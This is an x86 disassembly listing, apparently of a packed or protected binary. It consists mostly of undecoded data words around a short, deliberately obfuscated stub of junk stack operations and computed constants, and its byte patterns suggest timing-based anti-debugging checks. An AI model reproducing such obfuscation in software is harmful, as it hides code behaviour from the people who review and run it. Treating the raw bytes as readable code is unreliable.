		dd 1BC0ACF9h, 2FCAD47h,	0F51FC370h, 31054h, 1E480000h
		dd 68825B82h, 26CC9E31h, 0F325C807h, 0CA243B4Ah, 86507C93h
		dd 5284A8E7h, 2AC4E42Bh, 0E50FDC73h, 0B75D0944h, 0EC83A496h
		dd 48F5404h, 24048324h,	0FB96804h, 2C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		push	ecx
		mov	ecx, 5A8028AFh
		shr	ecx, 3
		neg	ecx
		xor	ecx, 7AFC7093h
		dec	ecx
		sub	ecx, 3E54163Dh
		mov	esi, ecx
		pop	ecx
		mov	ebp, 495598FAh
		xor	ebp, esi
		pop	esi
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	ebp
		pop	edx
		mov	[ecx+8], edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5527C7
; ---------------------------------------------------------------------------
		db 7Ah,	0B6h, 26h
		dd 0F1E2B802h, 0C50306AAh, 3E0BE0FFh, 88F21F23h, 0E12E0F0Ah
		dd 494A63F8h, 13C4556Fh, 8D886B9Ah, 5B8A1C33h, 0A2351C3Fh
		dd 10A81120h, 0D1E07B09h, 99406184h, 0F30A618Fh, 392E42B9h
		dd 515279B2h, 9E7144ECh, 0E30F5F96h, 919717EBh,	7FE10C01h
		dd 320E10C1h, 0CF6C78D1h, 4EB33AFAh, 295B13B9h,	0E8826816h
		dd 0B6C9188Dh, 1DE91244h, 0BFEB68BAh, 218004Ch,	4FCE1AEAh
		dd 0D0336BB2h, 3DCF0199h, 296F765Dh, 858D0BFEh,	6A62CADh
		dd 195B529h, 565006A6h,	28B0Fh,	5F520000h, 2404895Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C5C35343h, 0B5E29208h
		dd 88BA2EE2h, 6AF0E780h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 23F73E9Fh, 2AA7B85Ch
		dd 6ACE4Fh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ah,	0AEC35646h, 35939FBh, 858DE2D2h, 6AAF4F6h, 1F5D9D8Bh
		dd 0C08306A6h, 0D59D0305h, 5006A62Ah, 310F5250h, 28F0Fh
		dd 5B510000h, 489585Ah,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 41441349h, 0D2E2E781h
		dd 6A7929h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 17h,	6BC35747h, 9026D26h, 0A60B1DBDh, 6A006A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 1C82C353h, 4595FF01h, 8B06A612h, 0A611E1BDh,	0FF8D8D06h
		dd 0F06A994h, 0D1FFDEB7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0A8C35545h, 0F4DE181Bh, 968ACBAEh, 6880Fh
		dd 8D890000h, 6A606A9h,	1451BD83h, 0F0106A6h, 9585h, 0B9BD0900h
		dd 6A06A632h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 6422E99Eh, 0F19D337Ah, 9006A613h
		dd 0F860Fh, 52500000h, 880Fh, 310F0000h, 5AFB8B66h, 13E95058h
		dd 86000000h, 941881CCh, 4011D0D5h, 0A7ADBA15h,	0FE8FCB49h
		dd 6A90F12Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 865BC352h, 9D8BAA77h, 6A6108Dh
		dd 66D95FFh, 9D8B06A6h,	6A62B5Dh, 7B63C381h, 0EDE97B54h
		dd 0E800000Dh, 0
		dd 0ED815Dh, 6A06AAF5h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FDFC351h, 68Fh, 9DD38100h
		dd 6A019650h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 669CC351h, 66C294BBh, 1210F781h
		dd 864A858Dh, 6A06A9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 90BA76C3h, 0BF665250h, 310F08F8h
		dd 4B89E5BBh, 50585A4Fh, 921991BFh, 6A9010h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 602674C3h
		dd 0E8670C0Fh, 0Ch, 80A1F895h, 0A5BA5D6Ch, 1926CFF4h, 5BF88B66h
		dd 7A99D89h, 0FF6406A6h, 35h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 6D40F9C6h
		dd 258964h, 8B000000h, 0A60731BDh, 5D9D8B06h, 0FF06A619h
		dd 0A6126D85h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 15E0DE1h, 0D8BABB68h
		dd 0FF6A4CEAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0DC35343h, 4B57188Ah, 62CB46FCh, 9BF781A5h, 0F22CE05h
		dd 0B5FFF9BFh, 6A631F1h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0F4C35747h, 0E9459793h, 58B0FBFh, 66000000h
		dd 0D7C1DB81h, 0AA55C781h, 95FF3864h, 6A6116Dh,	10AE9h
		dd 0E900B000h, 10h, 15B6CB2Ah, 219BD1D0h, 0A33F5F77h, 97343FDAh
		dd 9D8B70E6h, 6A61361h,	14E9h, 0BF7CB300h, 6DDF1734h, 7C29FA61h
		dd 0FA49E44Dh, 87811541h, 8971E419h, 0A60125BDh, 0F613C06h
		dd 0C283h, 55BD8B00h, 0F06A61Bh, 0BD89C8B6h, 6A62C25h
		dd 6BAh, 0E1EB8000h, 2830Fh, 0FB8B0000h, 9D8BC18Bh, 6A60A81h
		dd 6604E8C1h, 8C0FE2F7h, 6, 7099D8Bh, 0C82B06A6h, 2DB3BB66h
		dd 9D03D18Bh, 6A628C5h,	76E9h, 52AABF00h, 95310714h, 6A6343Dh
		dd 4C44858Bh, 0C0835F4Ch, 19858907h, 8306A60Ch,	952900C0h
		dd 6A607B1h, 830FD03Bh,	8, 0E9F88B66h, 43h, 0FFFF8D8Bh
		dd 0E9FCFFFFh, 0Fh, 30C7B338h, 0B160A8B5h, 0B9EA63B6h
		dd 838E22FBh, 840F01E1h, 1Fh, 0FFA583FCh, 0FEFFFFFFh, 545BD8Bh
		dd 958906A6h, 5F4C4C44h, 14BD9D8Bh, 0E906A6h, 8D000000h
		dd 0AA6CB6B5h, 0D3816606h, 6AD793h, 1BB19D2Bh, 95FF06A6h
		dd 6A62959h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	4C35040h, 9F51B23h, 195D9D89h, 65B906A6h, 0F00000Fh
		dd 9D8BD9BFh, 6A6258Dh,	6AFCE183h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 20A4C357h
		dd 9D8965F2h, 6A62A65h,	51006AFCh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 13710A5h, 0A63149BDh
		dd 61BD8B06h, 2B06A634h, 5880BFC0h, 0D22B390Ah,	0ADF8B70Fh
		dd 0E8D1C233h, 0E983D003h, 0F9F47504h, 2281BD89h, 0B6006A6h
		dd 0A62F89BDh, 0AD9D8B06h, 6106A60Ah, 880Dh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 830D440Fh, 81CF0C57h, 16AA07D3h, 7D958947h, 8B06A626h
		dd 0A606AD95h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 128D62A3h, 0FC4420C6h
		dd 6F8EA4BBh, 199D8B72h, 8B06A60Eh, 0A6040D8Dh,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0F5469EF3h, 668FB456h, 0E3FDC381h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 34A6B2C3h, 6617A48Ch
		dd 0FC90BBFh, 0BE8D8B7h, 0C3000000h, 13C8526Fh,	0EF2F45D5h
		dd 9E879FFh, 47000000h,	45414AEDh, 0F6EE8013h, 5B1BF380h
		dd 57006A5Fh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 93DB81CFh, 831B5287h, 0A60FDDBDh, 840F0006h
		dd 4Fh,	68C0Fh,	0D3810000h, 30A18E9Fh, 0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 6218CF86h, 8D2974E4h, 6A61CA9h, 0B15DE3BBh, 558D8D5Ch
		dd 6606A64Fh, 0FFEC0EBBh, 8DBD89E1h, 8306A614h,	0A60BE9BDh
		dd 840F0006h, 498h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0E2C35646h, 2CC7CF7Bh, 8589D752h, 6A62BCDh
		dd 0BE9BD83h, 0F0106A6h, 47E84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 98E1694h, 8B66F99Bh
		dd 0E9BD83FEh, 306A60Bh, 417860Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 9598FC3h
		dd 5C82346Ch, 0EDB7FE29h, 21BD8B60h, 6606A60Fh,	6AD98Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0E60F5AC3h, 0E1803816h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0CDBF47BCh
		dd 0A14DD01h, 0EE840FC9h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 32A0C355h
		dd 0DD858BAFh, 0F06A615h, 0C86h, 6860F00h, 89000000h, 0A62B4195h
		dd 0DCDF8106h, 33122457h, 0A6209D85h, 73F38006h, 0F78A6050h
		dd 11E8h, 0E3F1400h, 1F4D19E2h,	116E939Dh, 0F0106856h
		dd 5250BBD1h, 585A310Fh, 489615Fh, 6AF88B24h, 859D8B00h
		dd 6606A611h, 7E68DF8Bh, 66D15C44h, 481DA8Bh, 0C2BF8124h
		dd 79BB662Eh, 32BF66ADh, 3595FFE8h, 6A06A60Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0C4B8C355h, 4131A406h, 0B6A38589h, 0F5006A9h, 282h
		dd 5B5B5100h, 25DE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 31B470EFh, 0A604C585h
		dd 9B858B06h, 0C706A9B6h, 1800h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 4BD80435h
		dd 0ACDC0DBFh, 0C800F60h, 0F000000h, 681h, 799D8B00h, 8B06A629h
		dd 0A9B69FB5h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0FE4EAAB7h, 0D9858BDEh
		dd 6A06A62Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0CC2DC350h, 8E951h, 0AC660000h
		dd 0CBBA4332h, 895FCD26h, 0A61A3585h, 6A068906h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0A6FFC351h, 0C5BD333Fh, 8B06A625h, 0A615DD85h, 0D8B70F06h
		dd 8B044689h, 0A60765BDh, 96509606h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 50C35343h, 5942704Dh, 0F607DC6h
		dd 9589F2BFh, 6A61501h,	9BB5FF61h, 6606A9B6h, 0E8C20ABFh
		dd 4, 1F03FFh, 639917BBh, 0E8605067h, 0Fh, 0FF377088h
		dd 73757CF1h, 26366B15h, 50E3E682h, 5A310F52h
		dd 60505958h, 8B615F61h, 60042444h, 3EBE6660h, 0F525051h
		dd 61585A31h, 89008B61h, 0BB042444h, 4C168EC2h,	0BE96058h
		dd 9F000000h, 705306CDh, 74930328h, 0BD8B1B32h,	6A60559h
		dd 0A3858D61h, 6A06A9B6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 152DC353h, 8B8451C5h
		dd 0A60F29BDh, 819D8B06h, 9006A60Dh, 8BABE9BFh,	0BF66501Dh
		dd 6A90496Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0FF1FC351h, 38574F29h,	3B5112A6h
		dd 0EE9h, 934F2500h, 0DE561F00h, 74DA96EAh, 817636BBh
		dd 0CEC5D4CFh, 3595FF7Eh, 6A06A60Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0EBC0C350h
		dd 6840Fh, 0B5890000h, 6A6338Dh, 0AE8h,	4E38200h, 0BE97E67Eh
		dd 818F330Eh, 57A8F8DBh, 0F9615F31h, 0BE985C7h,	306A6h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0CF1BCDC3h, 9D8BA0E7h, 6A62B41h, 0B6A3BD83h
		dd 0F0006A9h, 3484h, 7FF38100h,	0E93AF964h, 44h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 17C35747h, 0BDC4C506h
		dd 89F4F167h, 0A6163D95h, 0C305006h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 1EE78166h, 51006AFEh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 8AEA9A05h, 60C0419Fh, 1D5B58Bh, 836106A6h, 0A60BE9BDh
		dd 850F0306h, 3A9h, 9E9h, 7F10FD00h, 0FC3526C3h, 14E82308h
		dd 0AB000000h, 7488BE09h, 6EF5EE91h, 9F6D4523h,	0BABDA9CAh
		dd 8B202785h, 0A60C75BDh, 0BD835F06h, 6A9B6A3h,	6E840F00h
		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 7A6DC357h, 0E9E152FEh,	10h, 794527D0h
		dd 97786D54h, 19B5A3D0h, 0B4EA17Eh, 0B6A3B5FFh,	0B52906A9h
		dd 6A604D9h, 0C1D95FFh,	6A06A6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 66087BC3h, 0B58BDA8Bh
		dd 6A9B697h, 25C1BD8Bh,	6C706A6h, 10001h, 0C88B6660h, 0C0D1EE81h
		dd 96615B9Fh, 0B597E1BFh, 91B35055h, 57006A96h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 8218EFF2h
		dd 0E94D7658h, 0Dh, 3BFC8E73h, 0EC230749h, 17AAA640h, 0A3B5FFC5h
		dd 5706A9B6h, 95FF5BFCh, 6A629D1h, 0B58B37B7h, 6A9B697h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AEC35141h
		dd 0AC8F6917h, 0FDBD8Bh, 858B06A6h, 6A60769h, 6DC78166h
		dd 0C4868998h, 0E9000000h, 0Bh,	96FFE6D6h, 6BE7E0E5h, 0B77C4E18h
		dd 0AD958B79h, 0F06A606h, 0C84h, 7E900h, 3C910000h, 2623E1B2h
		dd 4C28315h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	3AC35242h, 0AC96643Eh, 71852B60h, 8906A62Fh, 0A615F985h
		dd 50896106h, 699D8B20h, 8D06A612h, 0A9CA6B85h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0CB813E03h, 70666C01h, 0B88689h, 6A0000h, 0B6A3B5FFh
		dd 0DB8106A9h, 54C74B4h, 66D95FFh, 0BB6606A6h, 0B750FA40h
		dd 24348925h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	0E0C35242h, 0B6A3B5FFh,	6A06A9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 82423BC3h
		dd 1EE9C2EAh, 1595FF2Eh, 6A06A60Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8976C353h
		dd 0A61275BDh, 29BD8306h, 6A62Bh, 4D840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 8BB0FBC3h, 96433F3Fh, 4218BB66h, 6A9650h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 5A0A04C3h
		dd 0E99D8B81h, 0FF06A62Ah, 0A9B6A3B5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0D397A1D9h, 95FF15B3h, 6A61D55h, 2E19BD8Bh, 0B5FF06A6h
		dd 6A9B6A3h, 2E259589h,	95FF06A6h, 6A62AD9h, 0C850Fh, 8C0F0000h
		dd 6, 3481BD8Bh, 665106A6h, 835BD88Bh, 0A62CF5BDh, 840F0206h
		dd 6Fh,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h
		dd 83C35040h, 0AE9h, 7CBE9500h,	9F0F8918h, 8B3273BCh, 0A6184185h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0B17AAE35h, 0C688h, 158F0Fh, 10E90000h
		dd 82000000h, 96BA1429h, 0C98CA7AAh, 5048C203h,	0C7CB0BFBh
		dd 0A62ED185h, 6, 26BB6600h, 0F380E9A0h, 820FFFFFh, 6
		dd 2E0D9529h, 0C18B06A6h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 56C35141h, 7B9223EDh,	82423B1Fh, 1E9D9D0Bh
		dd 0DF8B06A6h, 2CAD858Dh, 9D8B06A6h, 6A610B5h, 8B666090h
		dd 61DA8BCEh, 52505250h, 0FD88B66h, 5AFA8B31h, 89905B58h
		dd 0A6322DB5h, 89006A06h, 0A60CE995h, 0D1BD0B06h, 6A06A62Fh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 1495BB29h, 8B6042C6h, 39B58BCBh,	6106A633h
		dd 4A7858Dh, 6A06ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 223AE6C3h, 5C08357h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 54C35343h, 35CF8166h
		dd 95BD0B41h, 2906A608h, 0A61CE59Dh, 4895006h, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 6ADB2F31h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 6ADA8B9Dh, 28D0F00h, 8B000000h, 4595FFD8h
		dd 5306A612h, 161BD8Bh,	8D5F06A6h, 0A994FF8Dh, 0BF0F6006h
		dd 3890FF1h, 0F000000h,	6661FFB7h, 0D1FFDE8Bh, 2915BD09h
		dd 0BD8306A6h, 6A61451h, 80850F01h, 0E9000000h,	13h, 880AA2B6h
		dd 15870D80h, 1EEDF377h, 0E176D44Ah, 6AB143BFh,	56006A02h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8D012D97h, 6A60555h,	0EE990h, 7FC00000h, 9A592E33h
		dd 0D15C4A96h, 97BAF70Fh, 0F88B6050h, 906144B7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4FC35747h, 95FF3BF8h
		dd 6A6066Dh, 0E9DABF0Fh, 0D08h,	0E8h, 0ED815D00h, 6AB04B1h
		dd 2AEB8166h, 81C3811Fh, 80772123h, 858D2CDFh, 6A9864Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0C8C35343h
		dd 0E2636E35h, 9589611Ch, 6A61CA1h, 0FE96050h, 1C000000h
		dd 3519BAD9h
		dd 0F65E2885h, 201DC5C9h, 880F3F75h, 0
		dd 24048961h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	0A1C35545h, 0AE2E2EAEh,	0FF6485DDh, 35h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 60767591h, 6471C380h, 2589h,	0BF0F0000h, 6D85FFDAh
		dd 6A06A612h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 1EDAC355h, 0DA786A59h,	0FF6AF906h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 4DC35242h
		dd 4EA3132Eh, 0D88652D5h, 2911BD8Bh, 0B5FF06A6h, 6A60AF9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 44C35646h
		dd 6675CF19h, 0FF928ABFh, 0A6116D95h, 111E906h,	6E90000h
		dd 6D000000h, 890B0153h, 0F00B028h, 68Dh, 0B5BD0B00h, 0E606A615h
		dd 0C99D8970h, 0BF06A601h, 204CB874h, 0BD8B71E4h, 6A61EB9h
		dd 0CB5BD8Bh, 613C06A6h, 0D5830Fh, 95290000h, 6A63115h
		dd 0FC8B60Fh, 6BAD8B7h,	0F000000h, 685h, 0C9B58900h, 8B06A61Ah
		dd 50D0BBC1h, 0E8C140DDh, 19D8B04h, 6606A61Fh, 11E9E2F7h
		dd 82000000h, 49D6E374h, 7A839A14h, 804D6034h, 76F86458h
		dd 0D2EF8166h, 29C82B9Ch, 0A613FDB5h, 8BD18B06h, 0A62A1DBDh
		dd 75E906h, 0B70F0000h,	50858BDEh, 8147554Ch, 8A6198F3h
		dd 7C08369h, 32D9BD89h,	0C08306A6h, 40D78100h, 3B76B10Fh
		dd 11830FD0h, 8B000000h, 0A6122D9Dh, 41E906h, 0BD890000h
		dd 6A62A65h, 0FFFF8D8Bh, 0B70FFFFFh, 1E183D8h, 29840Fh
		dd 29560000h, 0A60FA59Dh, 0A5835F06h, 0FFFFFFFFh, 6810FFEh
		dd 8B000000h, 0A601459Dh, 50958906h, 8047554Ch,	0E9E2CBh
		dd 8D000000h, 0AA7C1BB5h, 6EBF6606h, 6A006A66h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 74A0C357h, 35EB81C9h, 0FF6E65C2h, 0A6295995h, 9E906h
		dd 64B50000h, 0FB6F0287h, 8B8D22C8h, 102DB9F8h,	0ECB70000h
		dd 8BFCE183h, 0A604119Dh, 6AFC06h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 574AB3C3h, 61E3B58Dh
		dd 0B890h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 5D3BB0C3h, 0BA7Fh, 9D290000h, 6A61421h
		dd 0ADFE8B66h, 0E8D1C233h, 0E983D003h, 89F47504h, 0A60A7595h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 53441502h, 72FDAE0Eh, 0A9BFBF66h, 880Dh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 695D5572h, 0DE1E1915h, 9589D322h, 6A60915h
		dd 6AD958Bh, 6A06A6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 5B07F1C3h, 9D0BA466h, 6A61989h
		dd 40D8D8Bh, 6A06A6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 83750CC3h, 0E99DB5BFh, 0Ah, 475AC8A3h
		dd 2026003h, 0BD8BA95Ch, 6A60FE1h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 66FC5818h, 0BD83F88Bh, 6A60FDDh
		dd 72840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 337AC355h, 664627BBh
		dd 99B6E781h, 0B8h, 0FD8D0100h,	8D06A62Eh, 0A64F558Dh
		dd 63CF8106h, 8B07E10Ch, 0A60B559Dh, 6AE1FF06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 2BF4C356h, 0CE9h, 7F3ED700h,	69FEB321h, 0C25789B0h
		dd 0E9BD8354h, 6A60Bh, 407840Fh, 0F88B0000h, 0BE9BD83h
		dd 0F0106A6h, 41384h, 0E9BD8300h, 306A60Bh, 3D0860Fh, 8B660000h
		dd 6A60D9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 44F57CC3h, 2BB8DD33h, 0A62A2DBDh,	0D98C6606h
		dd 48F0Fh, 0BF660000h, 0E1800FB1h, 36E8BB04h, 0C90A3419h
		dd 127840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 2AF542C3h, 0E3C933BBh, 0ED85897Dh
		dd 8B06A603h, 0A615DD85h, 68D0F06h, 8B000000h, 0A61565BDh
		dd 9D853306h, 6A06A620h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 47A0C355h, 0B529A9E9h
		dd 6A6042Dh, 1A5B589h, 0BF9006A6h, 7AFA7E18h, 60BB5350h
		dd 5F49286Eh, 40D78190h, 6A07FA18h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0F8E65AFh
		dd 68Ch, 8D958900h, 6806A621h, 7ED9D847h, 52505250h, 0EE9h
		dd 0D128BE00h, 0AF216343h, 9193CE38h, 0FDE7173h, 0DA8B6631h
		dd 310F585Ah, 585AF98Bh, 0B8243481h, 6A7EC6DBh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0C2D3C352h, 14619589h, 0BD0306A6h, 6A6104Dh,	0B3595FFh
		dd 8B6606A6h, 0A38589FAh, 8906A9B6h, 0A61AC985h, 1C2E906h
		dd 8D0F0000h, 1, 9B858BF9h, 6A06A9B6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0AA65C357h
		dd 0DAB04454h, 8589AE4Eh, 6A63115h, 9C8FD781h, 0C70A61h
		dd 18h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
		dd 1DC35242h, 604D4099h, 2D7DBD89h, 0B58B06A6h,	6A9B69Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0FAC35545h
		dd 30199D8Bh, 858B06A6h, 6A62ED9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0B3C35747h,	76B90F53h, 95890689h
		dd 6A618CDh, 15DD858Bh,	0EB8106A6h, 2C5B1EFBh, 6A044689h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0E05CC352h, 0BE850h, 403F0000h, 0CCC67673h
		dd 964CF741h, 34895B64h, 9BB5FF24h, 6A06A9B6h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 6C1AC351h, 680A221Fh, 4615F352h, 81F98B66h, 0F0AD2434h
		dd 0FB8B460Ah, 0B6A3858Dh, 6A06A9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 4FCDDEC3h
		dd 3195E9ABh, 0A606B99Dh, 0AD9D8B06h, 9006A621h, 840D55BBh
		dd 8B665041h, 6A90DAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0B1E3CC3h, 3595FF6Ch, 6A06A60Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0A48BC355h, 6F419464h, 0C78195C0h, 7E801D61h
		dd 50006A61h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 4CA9DBB1h, 1799D89h, 85C706A6h, 6A60BE9h
		dd 3, 2D298501h, 0BD2B06A6h, 6A60411h, 0B6A3BD83h, 0F0006A9h
		dd 5D84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0C30D0488h, 89D3AE2Ch, 0A61A4D8Dh
		dd 0FE8B6606h, 48E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0B08280D7h, 0C381BA68h
		dd 1A051CF2h, 2CE58D89h, 305006A6h
